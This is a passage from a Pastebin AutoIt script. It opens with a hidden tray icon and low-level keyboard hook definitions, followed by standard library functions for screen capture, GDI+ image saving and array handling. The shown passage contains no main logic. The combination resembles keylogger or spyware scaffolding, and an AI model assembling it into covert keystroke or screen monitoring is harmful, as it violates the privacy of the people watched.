Advertisement
a7m3dalbalawi

Untitled

Aug 12th, 2017
578
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
AutoIt 121.60 KB | None | 0 0
  1. #NoTrayIcon
  2. Global Const $gdip_epgcolordepth = "{66087055-AD66-4C7C-9A18-38A2310B8337}"
  3. Global Const $gdip_epgcompression = "{E09D739D-CCD4-44EE-8EBA-3FBF8BE4FC58}"
  4. Global Const $gdip_epgquality = "{1D5BE4B5-FA4A-452D-9CDD-5DB35105E7EB}"
  5. Global Const $gdip_eptlong = 4
  6. Global Const $gdip_evtcompressionlzw = 2
  7. Global Const $gdip_pxf24rgb = 137224
  8. Global Const $tagpoint = "struct;long X;long Y;endstruct"
  9. Global Const $taggdipencoderparam = "byte GUID[16];ulong Count;ulong Type;ptr Values"
  10. Global Const $taggdipstartupinput = "uint Version;ptr Callback;bool NoThread;bool NoCodecs"
  11. Global Const $taggdipimagecodecinfo = "byte CLSID[16];byte FormatID[16];ptr CodecName;ptr DllName;ptr FormatDesc;ptr FileExt;" & "ptr MimeType;dword Flags;dword Version;dword SigCount;dword SigSize;ptr SigPattern;ptr SigMask"
  12. Global Const $tagguid = "ulong Data1;ushort Data2;ushort Data3;byte Data4[8]"
  13. Global Const $tagkbdllhookstruct = "dword vkCode;dword scanCode;dword flags;dword time;ulong_ptr dwExtraInfo"
  14. Global Const $fo_read = 0
  15.  
  16. Func _sendmessage($hwnd, $imsg, $wparam = 0, $lparam = 0, $ireturn = 0, $wparamtype = "wparam", $lparamtype = "lparam", $sreturntype = "lresult")
  17.     Local $aresult = DllCall("user32.dll", $sreturntype, "SendMessageW", "hwnd", $hwnd, "uint", $imsg, $wparamtype, $wparam, $lparamtype, $lparam)
  18.     If @error Then Return SetError(@error, @extended, "")
  19.     If $ireturn >= 0 AND $ireturn <= 4 Then Return $aresult[$ireturn]
  20.     Return $aresult
  21. EndFunc
  22.  
  23. Global Const $hgdi_error = Ptr(-1)
  24. Global Const $invalid_handle_value = Ptr(-1)
  25. Global Const $wh_keyboard_ll = 13
  26. Global Const $kf_extended = 256
  27. Global Const $kf_altdown = 8192
  28. Global Const $kf_up = 32768
  29. Global Const $llkhf_extended = BitShift($kf_extended, 8)
  30. Global Const $llkhf_injected = 16
  31. Global Const $llkhf_altdown = BitShift($kf_altdown, 8)
  32. Global Const $llkhf_up = BitShift($kf_up, 8)
  33. Global Const $tagcursorinfo = "dword Size;dword Flags;handle hCursor;" & $tagpoint
  34. Global Const $tagiconinfo = "bool Icon;dword XHotSpot;dword YHotSpot;handle hMask;handle hColor"
  35.  
  36. Func _winapi_bitblt($hdestdc, $ixdest, $iydest, $iwidth, $iheight, $hsrcdc, $ixsrc, $iysrc, $irop)
  37.     Local $aresult = DllCall("gdi32.dll", "bool", "BitBlt", "handle", $hdestdc, "int", $ixdest, "int", $iydest, "int", $iwidth, "int", $iheight, "handle", $hsrcdc, "int", $ixsrc, "int", $iysrc, "dword", $irop)
  38.     If @error Then Return SetError(@error, @extended, False)
  39.     Return $aresult[0]
  40. EndFunc
  41.  
  42. Func _winapi_callnexthookex($hhk, $icode, $wparam, $lparam)
  43.     Local $aresult = DllCall("user32.dll", "lresult", "CallNextHookEx", "handle", $hhk, "int", $icode, "wparam", $wparam, "lparam", $lparam)
  44.     If @error Then Return SetError(@error, @extended, -1)
  45.     Return $aresult[0]
  46. EndFunc
  47.  
  48. Func _winapi_copyicon($hicon)
  49.     Local $aresult = DllCall("user32.dll", "handle", "CopyIcon", "handle", $hicon)
  50.     If @error Then Return SetError(@error, @extended, 0)
  51.     Return $aresult[0]
  52. EndFunc
  53.  
  54. Func _winapi_createcompatiblebitmap($hdc, $iwidth, $iheight)
  55.     Local $aresult = DllCall("gdi32.dll", "handle", "CreateCompatibleBitmap", "handle", $hdc, "int", $iwidth, "int", $iheight)
  56.     If @error Then Return SetError(@error, @extended, 0)
  57.     Return $aresult[0]
  58. EndFunc
  59.  
  60. Func _winapi_createcompatibledc($hdc)
  61.     Local $aresult = DllCall("gdi32.dll", "handle", "CreateCompatibleDC", "handle", $hdc)
  62.     If @error Then Return SetError(@error, @extended, 0)
  63.     Return $aresult[0]
  64. EndFunc
  65.  
  66. Func _winapi_deletedc($hdc)
  67.     Local $aresult = DllCall("gdi32.dll", "bool", "DeleteDC", "handle", $hdc)
  68.     If @error Then Return SetError(@error, @extended, False)
  69.     Return $aresult[0]
  70. EndFunc
  71.  
  72. Func _winapi_deleteobject($hobject)
  73.     Local $aresult = DllCall("gdi32.dll", "bool", "DeleteObject", "handle", $hobject)
  74.     If @error Then Return SetError(@error, @extended, False)
  75.     Return $aresult[0]
  76. EndFunc
  77.  
  78. Func _winapi_destroyicon($hicon)
  79.     Local $aresult = DllCall("user32.dll", "bool", "DestroyIcon", "handle", $hicon)
  80.     If @error Then Return SetError(@error, @extended, False)
  81.     Return $aresult[0]
  82. EndFunc
  83.  
  84. Func _winapi_drawicon($hdc, $ix, $iy, $hicon)
  85.     Local $aresult = DllCall("user32.dll", "bool", "DrawIcon", "handle", $hdc, "int", $ix, "int", $iy, "handle", $hicon)
  86.     If @error Then Return SetError(@error, @extended, False)
  87.     Return $aresult[0]
  88. EndFunc
  89.  
  90. Func _winapi_freelibrary($hmodule)
  91.     Local $aresult = DllCall("kernel32.dll", "bool", "FreeLibrary", "handle", $hmodule)
  92.     If @error Then Return SetError(@error, @extended, False)
  93.     Return $aresult[0]
  94. EndFunc
  95.  
  96. Func _winapi_getclassname($hwnd)
  97.     If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd)
  98.     Local $aresult = DllCall("user32.dll", "int", "GetClassNameW", "hwnd", $hwnd, "wstr", "", "int", 4096)
  99.     If @error Then Return SetError(@error, @extended, False)
  100.     Return SetExtended($aresult[0], $aresult[2])
  101. EndFunc
  102.  
  103. Func _winapi_getcursorinfo()
  104.     Local $tcursor = DllStructCreate($tagcursorinfo)
  105.     Local $icursor = DllStructGetSize($tcursor)
  106.     DllStructSetData($tcursor, "Size", $icursor)
  107.     DllCall("user32.dll", "bool", "GetCursorInfo", "struct*", $tcursor)
  108.     If @error Then Return SetError(@error, @extended, 0)
  109.     Local $acursor[5]
  110.     $acursor[0] = True
  111.     $acursor[1] = DllStructGetData($tcursor, "Flags") <> 0
  112.     $acursor[2] = DllStructGetData($tcursor, "hCursor")
  113.     $acursor[3] = DllStructGetData($tcursor, "X")
  114.     $acursor[4] = DllStructGetData($tcursor, "Y")
  115.     Return $acursor
  116. EndFunc
  117.  
  118. Func _winapi_getdc($hwnd)
  119.     Local $aresult = DllCall("user32.dll", "handle", "GetDC", "hwnd", $hwnd)
  120.     If @error Then Return SetError(@error, @extended, 0)
  121.     Return $aresult[0]
  122. EndFunc
  123.  
  124. Func _winapi_getdesktopwindow()
  125.     Local $aresult = DllCall("user32.dll", "hwnd", "GetDesktopWindow")
  126.     If @error Then Return SetError(@error, @extended, 0)
  127.     Return $aresult[0]
  128. EndFunc
  129.  
  130. Func _winapi_geticoninfo($hicon)
  131.     Local $tinfo = DllStructCreate($tagiconinfo)
  132.     DllCall("user32.dll", "bool", "GetIconInfo", "handle", $hicon, "struct*", $tinfo)
  133.     If @error Then Return SetError(@error, @extended, 0)
  134.     Local $aicon[6]
  135.     $aicon[0] = True
  136.     $aicon[1] = DllStructGetData($tinfo, "Icon") <> 0
  137.     $aicon[2] = DllStructGetData($tinfo, "XHotSpot")
  138.     $aicon[3] = DllStructGetData($tinfo, "YHotSpot")
  139.     $aicon[4] = DllStructGetData($tinfo, "hMask")
  140.     $aicon[5] = DllStructGetData($tinfo, "hColor")
  141.     Return $aicon
  142. EndFunc
  143.  
  144. Func _winapi_getmodulehandle($smodulename)
  145.     Local $smodulenametype = "wstr"
  146.     If $smodulename = "" Then
  147.         $smodulename = 0
  148.         $smodulenametype = "ptr"
  149.     EndIf
  150.     Local $aresult = DllCall("kernel32.dll", "handle", "GetModuleHandleW", $smodulenametype, $smodulename)
  151.     If @error Then Return SetError(@error, @extended, 0)
  152.     Return $aresult[0]
  153. EndFunc
  154.  
  155. Func _winapi_getsystemmetrics($iindex)
  156.     Local $aresult = DllCall("user32.dll", "int", "GetSystemMetrics", "int", $iindex)
  157.     If @error Then Return SetError(@error, @extended, 0)
  158.     Return $aresult[0]
  159. EndFunc
  160.  
  161. Func _winapi_guidfromstring($sguid)
  162.     Local $tguid = DllStructCreate($tagguid)
  163.     _winapi_guidfromstringex($sguid, $tguid)
  164.     If @error Then Return SetError(@error, @extended, 0)
  165.     Return $tguid
  166. EndFunc
  167.  
  168. Func _winapi_guidfromstringex($sguid, $pguid)
  169.     Local $aresult = DllCall("ole32.dll", "long", "CLSIDFromString", "wstr", $sguid, "struct*", $pguid)
  170.     If @error Then Return SetError(@error, @extended, False)
  171.     Return $aresult[0]
  172. EndFunc
  173.  
  174. Func _winapi_isclassname($hwnd, $sclassname)
  175.     Local $sseparator = Opt("GUIDataSeparatorChar")
  176.     Local $aclassname = StringSplit($sclassname, $sseparator)
  177.     If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd)
  178.     Local $sclasscheck = _winapi_getclassname($hwnd)
  179.     For $x = 1 To UBound($aclassname) - 1
  180.         If StringUpper(StringMid($sclasscheck, 1, StringLen($aclassname[$x]))) = StringUpper($aclassname[$x]) Then Return True
  181.     Next
  182.     Return False
  183. EndFunc
  184.  
  185. Func _winapi_loadlibrary($sfilename)
  186.     Local $aresult = DllCall("kernel32.dll", "handle", "LoadLibraryW", "wstr", $sfilename)
  187.     If @error Then Return SetError(@error, @extended, 0)
  188.     Return $aresult[0]
  189. EndFunc
  190.  
  191. Func _winapi_releasedc($hwnd, $hdc)
  192.     Local $aresult = DllCall("user32.dll", "int", "ReleaseDC", "hwnd", $hwnd, "handle", $hdc)
  193.     If @error Then Return SetError(@error, @extended, False)
  194.     Return $aresult[0]
  195. EndFunc
  196.  
  197. Func _winapi_selectobject($hdc, $hgdiobj)
  198.     Local $aresult = DllCall("gdi32.dll", "handle", "SelectObject", "handle", $hdc, "handle", $hgdiobj)
  199.     If @error Then Return SetError(@error, @extended, False)
  200.     Return $aresult[0]
  201. EndFunc
  202.  
  203. Func _winapi_setwindowshookex($idhook, $lpfn, $hmod, $dwthreadid = 0)
  204.     Local $aresult = DllCall("user32.dll", "handle", "SetWindowsHookEx", "int", $idhook, "ptr", $lpfn, "handle", $hmod, "dword", $dwthreadid)
  205.     If @error Then Return SetError(@error, @extended, 0)
  206.     Return $aresult[0]
  207. EndFunc
  208.  
  209. Func _winapi_stringfromguid($pguid)
  210.     Local $aresult = DllCall("ole32.dll", "int", "StringFromGUID2", "struct*", $pguid, "wstr", "", "int", 40)
  211.     If @error Then Return SetError(@error, @extended, "")
  212.     Return SetExtended($aresult[0], $aresult[2])
  213. EndFunc
  214.  
  215. Func _winapi_systemparametersinfo($iaction, $iparam = 0, $vparam = 0, $iwinini = 0)
  216.     Local $aresult = DllCall("user32.dll", "bool", "SystemParametersInfoW", "uint", $iaction, "uint", $iparam, "ptr", $vparam, "uint", $iwinini)
  217.     If @error Then Return SetError(@error, @extended, False)
  218.     Return $aresult[0]
  219. EndFunc
  220.  
  221. Func _winapi_unhookwindowshookex($hhk)
  222.     Local $aresult = DllCall("user32.dll", "bool", "UnhookWindowsHookEx", "handle", $hhk)
  223.     If @error Then Return SetError(@error, @extended, False)
  224.     Return $aresult[0]
  225. EndFunc
  226.  
  227. Func _winapi_widechartomultibyte($punicode, $icodepage = 0, $bretstring = True)
  228.     Local $sunicodetype = "wstr"
  229.     If NOT IsString($punicode) Then $sunicodetype = "struct*"
  230.     Local $aresult = DllCall("kernel32.dll", "int", "WideCharToMultiByte", "uint", $icodepage, "dword", 0, $sunicodetype, $punicode, "int", -1, "ptr", 0, "int", 0, "ptr", 0, "ptr", 0)
  231.     If @error Then Return SetError(@error, @extended, "")
  232.     Local $tmultibyte = DllStructCreate("char[" & $aresult[0] & "]")
  233.     $aresult = DllCall("kernel32.dll", "int", "WideCharToMultiByte", "uint", $icodepage, "dword", 0, $sunicodetype, $punicode, "int", -1, "struct*", $tmultibyte, "int", $aresult[0], "ptr", 0, "ptr", 0)
  234.     If @error Then Return SetError(@error, @extended, "")
  235.     If $bretstring Then Return DllStructGetData($tmultibyte, 1)
  236.     Return $tmultibyte
  237. EndFunc
  238.  
  239. Global $ghgdipdll = 0
  240. Global $gigdipref = 0
  241. Global $gigdiptoken = 0
  242.  
  243. Func _gdiplus_bitmapclonearea($hbmp, $ileft, $itop, $iwidth, $iheight, $iformat = 137224)
  244.     Local $aresult = DllCall($ghgdipdll, "int", "GdipCloneBitmapAreaI", "int", $ileft, "int", $itop, "int", $iwidth, "int", $iheight, "int", $iformat, "handle", $hbmp, "ptr*", 0)
  245.     If @error Then Return SetError(@error, @extended, 0)
  246.     Return SetExtended($aresult[0], $aresult[7])
  247. EndFunc
  248.  
  249. Func _gdiplus_bitmapcreatefromhbitmap($hbmp, $hpal = 0)
  250.     Local $aresult = DllCall($ghgdipdll, "int", "GdipCreateBitmapFromHBITMAP", "handle", $hbmp, "handle", $hpal, "ptr*", 0)
  251.     If @error Then Return SetError(@error, @extended, 0)
  252.     Return SetExtended($aresult[0], $aresult[3])
  253. EndFunc
  254.  
  255. Func _gdiplus_encoders()
  256.     Local $icount = _gdiplus_encodersgetcount()
  257.     Local $isize = _gdiplus_encodersgetsize()
  258.     Local $tbuffer = DllStructCreate("byte[" & $isize & "]")
  259.     Local $aresult = DllCall($ghgdipdll, "int", "GdipGetImageEncoders", "uint", $icount, "uint", $isize, "struct*", $tbuffer)
  260.     If @error Then Return SetError(@error, @extended, 0)
  261.     If $aresult[0] <> 0 Then Return SetError($aresult[0], 0, 0)
  262.     Local $pbuffer = DllStructGetPtr($tbuffer)
  263.     Local $tcodec, $ainfo[$icount + 1][14]
  264.     $ainfo[0][0] = $icount
  265.     For $ii = 1 To $icount
  266.         $tcodec = DllStructCreate($taggdipimagecodecinfo, $pbuffer)
  267.         $ainfo[$ii][1] = _winapi_stringfromguid(DllStructGetPtr($tcodec, "CLSID"))
  268.         $ainfo[$ii][2] = _winapi_stringfromguid(DllStructGetPtr($tcodec, "FormatID"))
  269.         $ainfo[$ii][3] = _winapi_widechartomultibyte(DllStructGetData($tcodec, "CodecName"))
  270.         $ainfo[$ii][4] = _winapi_widechartomultibyte(DllStructGetData($tcodec, "DllName"))
  271.         $ainfo[$ii][5] = _winapi_widechartomultibyte(DllStructGetData($tcodec, "FormatDesc"))
  272.         $ainfo[$ii][6] = _winapi_widechartomultibyte(DllStructGetData($tcodec, "FileExt"))
  273.         $ainfo[$ii][7] = _winapi_widechartomultibyte(DllStructGetData($tcodec, "MimeType"))
  274.         $ainfo[$ii][8] = DllStructGetData($tcodec, "Flags")
  275.         $ainfo[$ii][9] = DllStructGetData($tcodec, "Version")
  276.         $ainfo[$ii][10] = DllStructGetData($tcodec, "SigCount")
  277.         $ainfo[$ii][11] = DllStructGetData($tcodec, "SigSize")
  278.         $ainfo[$ii][12] = DllStructGetData($tcodec, "SigPattern")
  279.         $ainfo[$ii][13] = DllStructGetData($tcodec, "SigMask")
  280.         $pbuffer += DllStructGetSize($tcodec)
  281.     Next
  282.     Return $ainfo
  283. EndFunc
  284.  
  285. Func _gdiplus_encodersgetclsid($sfileext)
  286.     Local $aencoders = _gdiplus_encoders()
  287.     For $ii = 1 To $aencoders[0][0]
  288.         If StringInStr($aencoders[$ii][6], "*." & $sfileext) > 0 Then Return $aencoders[$ii][1]
  289.     Next
  290.     Return SetError(-1, -1, "")
  291. EndFunc
  292.  
  293. Func _gdiplus_encodersgetcount()
  294.     Local $aresult = DllCall($ghgdipdll, "int", "GdipGetImageEncodersSize", "uint*", 0, "uint*", 0)
  295.     If @error Then Return SetError(@error, @extended, -1)
  296.     Return SetExtended($aresult[0], $aresult[1])
  297. EndFunc
  298.  
  299. Func _gdiplus_encodersgetsize()
  300.     Local $aresult = DllCall($ghgdipdll, "int", "GdipGetImageEncodersSize", "uint*", 0, "uint*", 0)
  301.     If @error Then Return SetError(@error, @extended, -1)
  302.     Return SetExtended($aresult[0], $aresult[2])
  303. EndFunc
  304.  
  305. Func _gdiplus_imagedispose($himage)
  306.     Local $aresult = DllCall($ghgdipdll, "int", "GdipDisposeImage", "handle", $himage)
  307.     If @error Then Return SetError(@error, @extended, False)
  308.     Return $aresult[0] = 0
  309. EndFunc
  310.  
  311. Func _gdiplus_imagegetheight($himage)
  312.     Local $aresult = DllCall($ghgdipdll, "int", "GdipGetImageHeight", "handle", $himage, "uint*", 0)
  313.     If @error Then Return SetError(@error, @extended, -1)
  314.     Return SetExtended($aresult[0], $aresult[2])
  315. EndFunc
  316.  
  317. Func _gdiplus_imagegetwidth($himage)
  318.     Local $aresult = DllCall($ghgdipdll, "int", "GdipGetImageWidth", "handle", $himage, "uint*", -1)
  319.     If @error Then Return SetError(@error, @extended, -1)
  320.     Return SetExtended($aresult[0], $aresult[2])
  321. EndFunc
  322.  
  323. Func _gdiplus_imagesavetofileex($himage, $sfilename, $sencoder, $pparams = 0)
  324.     Local $tguid = _winapi_guidfromstring($sencoder)
  325.     Local $aresult = DllCall($ghgdipdll, "int", "GdipSaveImageToFile", "handle", $himage, "wstr", $sfilename, "struct*", $tguid, "struct*", $pparams)
  326.     If @error Then Return SetError(@error, @extended, False)
  327.     Return $aresult[0] = 0
  328. EndFunc
  329.  
  330. Func _gdiplus_paramadd(ByRef $tparams, $sguid, $icount, $itype, $pvalues)
  331.     Local $tparam = DllStructCreate($taggdipencoderparam, DllStructGetPtr($tparams, "Params") + (DllStructGetData($tparams, "Count") * 28))
  332.     _winapi_guidfromstringex($sguid, DllStructGetPtr($tparam, "GUID"))
  333.     DllStructSetData($tparam, "Type", $itype)
  334.     DllStructSetData($tparam, "Count", $icount)
  335.     DllStructSetData($tparam, "Values", $pvalues)
  336.     DllStructSetData($tparams, "Count", DllStructGetData($tparams, "Count") + 1)
  337. EndFunc
  338.  
  339. Func _gdiplus_paraminit($icount)
  340.     If $icount <= 0 Then Return SetError(-1, -1, 0)
  341.     Return DllStructCreate("dword Count;byte Params[" & $icount * 28 & "]")
  342. EndFunc
  343.  
  344. Func _gdiplus_shutdown()
  345.     If $ghgdipdll = 0 Then Return SetError(-1, -1, False)
  346.     $gigdipref -= 1
  347.     If $gigdipref = 0 Then
  348.         DllCall($ghgdipdll, "none", "GdiplusShutdown", "ptr", $gigdiptoken)
  349.         DllClose($ghgdipdll)
  350.         $ghgdipdll = 0
  351.     EndIf
  352.     Return True
  353. EndFunc
  354.  
  355. Func _gdiplus_startup()
  356.     $gigdipref += 1
  357.     If $gigdipref > 1 Then Return True
  358.     $ghgdipdll = DllOpen("GDIPlus.dll")
  359.     If $ghgdipdll = -1 Then
  360.         $gigdipref = 0
  361.         Return SetError(1, 2, False)
  362.     EndIf
  363.     Local $tinput = DllStructCreate($taggdipstartupinput)
  364.     Local $ttoken = DllStructCreate("ulong_ptr Data")
  365.     DllStructSetData($tinput, "Version", 1)
  366.     Local $aresult = DllCall($ghgdipdll, "int", "GdiplusStartup", "struct*", $ttoken, "struct*", $tinput, "ptr", 0)
  367.     If @error Then Return SetError(@error, @extended, False)
  368.     $gigdiptoken = DllStructGetData($ttoken, "Data")
  369.     Return $aresult[0] = 0
  370. EndFunc
  371.  
  372. Func __gdiplus_extractfileext($sfilename, $fnodot = True)
  373.     Local $iindex = __gdiplus_lastdelimiter(".\:", $sfilename)
  374.     If ($iindex > 0) AND (StringMid($sfilename, $iindex, 1) = ".") Then
  375.         If $fnodot Then
  376.             Return StringMid($sfilename, $iindex + 1)
  377.         Else
  378.             Return StringMid($sfilename, $iindex)
  379.         EndIf
  380.     Else
  381.         Return ""
  382.     EndIf
  383. EndFunc
  384.  
  385. Func __gdiplus_lastdelimiter($sdelimiters, $sstring)
  386.     Local $sdelimiter, $in
  387.     For $ii = 1 To StringLen($sdelimiters)
  388.         $sdelimiter = StringMid($sdelimiters, $ii, 1)
  389.         $in = StringInStr($sstring, $sdelimiter, 0, -1)
  390.         If $in > 0 Then Return $in
  391.     Next
  392. EndFunc
  393.  
  394. Global $gibmpformat = $gdip_pxf24rgb
  395. Global $gijpgquality = 100
  396. Global $gitifcolordepth = 24
  397. Global $gitifcompression = $gdip_evtcompressionlzw
  398. Global Const $__screencaptureconstant_sm_cxscreen = 0
  399. Global Const $__screencaptureconstant_sm_cyscreen = 1
  400. Global Const $__screencaptureconstant_srccopy = 13369376
  401.  
  402. Func _screencapture_capture($sfilename = "", $ileft = 0, $itop = 0, $iright = -1, $ibottom = -1, $fcursor = True)
  403.     If $iright = -1 Then $iright = _winapi_getsystemmetrics($__screencaptureconstant_sm_cxscreen)
  404.     If $ibottom = -1 Then $ibottom = _winapi_getsystemmetrics($__screencaptureconstant_sm_cyscreen)
  405.     If $iright < $ileft Then Return SetError(-1, 0, 0)
  406.     If $ibottom < $itop Then Return SetError(-2, 0, 0)
  407.     Local $iw = ($iright - $ileft) + 1
  408.     Local $ih = ($ibottom - $itop) + 1
  409.     Local $hwnd = _winapi_getdesktopwindow()
  410.     Local $hddc = _winapi_getdc($hwnd)
  411.     Local $hcdc = _winapi_createcompatibledc($hddc)
  412.     Local $hbmp = _winapi_createcompatiblebitmap($hddc, $iw, $ih)
  413.     _winapi_selectobject($hcdc, $hbmp)
  414.     _winapi_bitblt($hcdc, 0, 0, $iw, $ih, $hddc, $ileft, $itop, $__screencaptureconstant_srccopy)
  415.     If $fcursor Then
  416.         Local $acursor = _winapi_getcursorinfo()
  417.         If $acursor[1] Then
  418.             Local $hicon = _winapi_copyicon($acursor[2])
  419.             Local $aicon = _winapi_geticoninfo($hicon)
  420.             _winapi_deleteobject($aicon[4])
  421.             If $aicon[5] <> 0 Then _winapi_deleteobject($aicon[5])
  422.             _winapi_drawicon($hcdc, $acursor[3] - $aicon[2] - $ileft, $acursor[4] - $aicon[3] - $itop, $hicon)
  423.             _winapi_destroyicon($hicon)
  424.         EndIf
  425.     EndIf
  426.     _winapi_releasedc($hwnd, $hddc)
  427.     _winapi_deletedc($hcdc)
  428.     If $sfilename = "" Then Return $hbmp
  429.     Local $ret = _screencapture_saveimage($sfilename, $hbmp, True)
  430.     Return SetError(@error, @extended, $ret)
  431. EndFunc
  432.  
  433. Func _screencapture_saveimage($sfilename, $hbitmap, $ffreebmp = True)
  434.     _gdiplus_startup()
  435.     If @error Then Return SetError(-1, -1, False)
  436.     Local $sext = StringUpper(__gdiplus_extractfileext($sfilename))
  437.     Local $sclsid = _gdiplus_encodersgetclsid($sext)
  438.     If $sclsid = "" Then Return SetError(-2, -2, False)
  439.     Local $himage = _gdiplus_bitmapcreatefromhbitmap($hbitmap)
  440.     If @error Then Return SetError(-3, -3, False)
  441.     Local $tdata, $tparams
  442.     Switch $sext
  443.         Case "BMP"
  444.             Local $ix = _gdiplus_imagegetwidth($himage)
  445.             Local $iy = _gdiplus_imagegetheight($himage)
  446.             Local $hclone = _gdiplus_bitmapclonearea($himage, 0, 0, $ix, $iy, $gibmpformat)
  447.             _gdiplus_imagedispose($himage)
  448.             $himage = $hclone
  449.         Case "JPG", "JPEG"
  450.             $tparams = _gdiplus_paraminit(1)
  451.             $tdata = DllStructCreate("int Quality")
  452.             DllStructSetData($tdata, "Quality", $gijpgquality)
  453.             _gdiplus_paramadd($tparams, $gdip_epgquality, 1, $gdip_eptlong, DllStructGetPtr($tdata))
  454.         Case "TIF", "TIFF"
  455.             $tparams = _gdiplus_paraminit(2)
  456.             $tdata = DllStructCreate("int ColorDepth;int Compression")
  457.             DllStructSetData($tdata, "ColorDepth", $gitifcolordepth)
  458.             DllStructSetData($tdata, "Compression", $gitifcompression)
  459.             _gdiplus_paramadd($tparams, $gdip_epgcolordepth, 1, $gdip_eptlong, DllStructGetPtr($tdata, "ColorDepth"))
  460.             _gdiplus_paramadd($tparams, $gdip_epgcompression, 1, $gdip_eptlong, DllStructGetPtr($tdata, "Compression"))
  461.     EndSwitch
  462.     Local $pparams = 0
  463.     If IsDllStruct($tparams) Then $pparams = $tparams
  464.     Local $iret = _gdiplus_imagesavetofileex($himage, $sfilename, $sclsid, $pparams)
  465.     _gdiplus_imagedispose($himage)
  466.     If $ffreebmp Then _winapi_deleteobject($hbitmap)
  467.     _gdiplus_shutdown()
  468.     Return SetError($iret = False, 0, $iret = True)
  469. EndFunc
  470.  
  471. Func _screencapture_setjpgquality($iquality)
  472.     If $iquality < 0 Then $iquality = 0
  473.     If $iquality > 100 Then $iquality = 100
  474.     $gijpgquality = $iquality
  475. EndFunc
  476.  
  477. Func _stringbetween($s_string, $s_start, $s_end, $v_case = -1)
  478.     Local $s_case = ""
  479.     If $v_case = Default OR $v_case = -1 Then $s_case = "(?i)"
  480.     Local $s_pattern_escape = "(\.|\||\*|\?|\+|\(|\)|\{|\}|\[|\]|\^|\$|\\)"
  481.     $s_start = StringRegExpReplace($s_start, $s_pattern_escape, "\\$1")
  482.     $s_end = StringRegExpReplace($s_end, $s_pattern_escape, "\\$1")
  483.     If $s_start = "" Then $s_start = "\A"
  484.     If $s_end = "" Then $s_end = "\z"
  485.     Local $a_ret = StringRegExp($s_string, "(?s)" & $s_case & $s_start & "(.*?)" & $s_end, 3)
  486.     If @error Then Return SetError(1, 0, 0)
  487.     Return $a_ret
  488. EndFunc
  489.  
  490. Func _arrayadd(ByRef $avarray, $vvalue)
  491.     If NOT IsArray($avarray) Then Return SetError(1, 0, -1)
  492.     If UBound($avarray, 0) <> 1 Then Return SetError(2, 0, -1)
  493.     Local $iubound = UBound($avarray)
  494.     ReDim $avarray[$iubound + 1]
  495.     $avarray[$iubound] = $vvalue
  496.     Return $iubound
  497. EndFunc
  498.  
  499. Func _arraydelete(ByRef $avarray, $ielement)
  500.     If NOT IsArray($avarray) Then Return SetError(1, 0, 0)
  501.     Local $iubound = UBound($avarray, 1) - 1
  502.     If NOT $iubound Then
  503.         $avarray = ""
  504.         Return 0
  505.     EndIf
  506.     If $ielement < 0 Then $ielement = 0
  507.     If $ielement > $iubound Then $ielement = $iubound
  508.     Switch UBound($avarray, 0)
  509.         Case 1
  510.             For $i = $ielement To $iubound - 1
  511.                 $avarray[$i] = $avarray[$i + 1]
  512.             Next
  513.             ReDim $avarray[$iubound]
  514.         Case 2
  515.             Local $isubmax = UBound($avarray, 2) - 1
  516.             For $i = $ielement To $iubound - 1
  517.                 For $j = 0 To $isubmax
  518.                     $avarray[$i][$j] = $avarray[$i + 1][$j]
  519.                 Next
  520.             Next
  521.             ReDim $avarray[$iubound][$isubmax + 1]
  522.         Case Else
  523.             Return SetError(3, 0, 0)
  524.     EndSwitch
  525.     Return $iubound
  526. EndFunc
  527.  
  528. Func _arraysearch(Const ByRef $avarray, $vvalue, $istart = 0, $iend = 0, $icase = 0, $icompare = 0, $iforward = 1, $isubitem = -1)
  529.     If NOT IsArray($avarray) Then Return SetError(1, 0, -1)
  530.     If UBound($avarray, 0) > 2 OR UBound($avarray, 0) < 1 Then Return SetError(2, 0, -1)
  531.     Local $iubound = UBound($avarray) - 1
  532.     If $iend < 1 OR $iend > $iubound Then $iend = $iubound
  533.     If $istart < 0 Then $istart = 0
  534.     If $istart > $iend Then Return SetError(4, 0, -1)
  535.     Local $istep = 1
  536.     If NOT $iforward Then
  537.         Local $itmp = $istart
  538.         $istart = $iend
  539.         $iend = $itmp
  540.         $istep = -1
  541.     EndIf
  542.     Local $icomptype = False
  543.     If $icompare = 2 Then
  544.         $icompare = 0
  545.         $icomptype = True
  546.     EndIf
  547.     Switch UBound($avarray, 0)
  548.         Case 1
  549.             If NOT $icompare Then
  550.                 If NOT $icase Then
  551.                     For $i = $istart To $iend Step $istep
  552.                         If $icomptype AND VarGetType($avarray[$i]) <> VarGetType($vvalue) Then ContinueLoop
  553.                         If $avarray[$i] = $vvalue Then Return $i
  554.                     Next
  555.                 Else
  556.                     For $i = $istart To $iend Step $istep
  557.                         If $icomptype AND VarGetType($avarray[$i]) <> VarGetType($vvalue) Then ContinueLoop
  558.                         If $avarray[$i] == $vvalue Then Return $i
  559.                     Next
  560.                 EndIf
  561.             Else
  562.                 For $i = $istart To $iend Step $istep
  563.                     If StringInStr($avarray[$i], $vvalue, $icase) > 0 Then Return $i
  564.                 Next
  565.             EndIf
  566.         Case 2
  567.             Local $iuboundsub = UBound($avarray, 2) - 1
  568.             If $isubitem > $iuboundsub Then $isubitem = $iuboundsub
  569.             If $isubitem < 0 Then
  570.                 $isubitem = 0
  571.             Else
  572.                 $iuboundsub = $isubitem
  573.             EndIf
  574.             For $j = $isubitem To $iuboundsub
  575.                 If NOT $icompare Then
  576.                     If NOT $icase Then
  577.                         For $i = $istart To $iend Step $istep
  578.                             If $icomptype AND VarGetType($avarray[$i][$j]) <> VarGetType($vvalue) Then ContinueLoop
  579.                             If $avarray[$i][$j] = $vvalue Then Return $i
  580.                         Next
  581.                     Else
  582.                         For $i = $istart To $iend Step $istep
  583.                             If $icomptype AND VarGetType($avarray[$i][$j]) <> VarGetType($vvalue) Then ContinueLoop
  584.                             If $avarray[$i][$j] == $vvalue Then Return $i
  585.                         Next
  586.                     EndIf
  587.                 Else
  588.                     For $i = $istart To $iend Step $istep
  589.                         If StringInStr($avarray[$i][$j], $vvalue, $icase) > 0 Then Return $i
  590.                     Next
  591.                 EndIf
  592.             Next
  593.         Case Else
  594.             Return SetError(7, 0, -1)
  595.     EndSwitch
  596.     Return SetError(6, 0, -1)
  597. EndFunc
  598.  
  599. Func _arraytostring(Const ByRef $avarray, $sdelim = "|", $istart = 0, $iend = 0)
  600.     If NOT IsArray($avarray) Then Return SetError(1, 0, "")
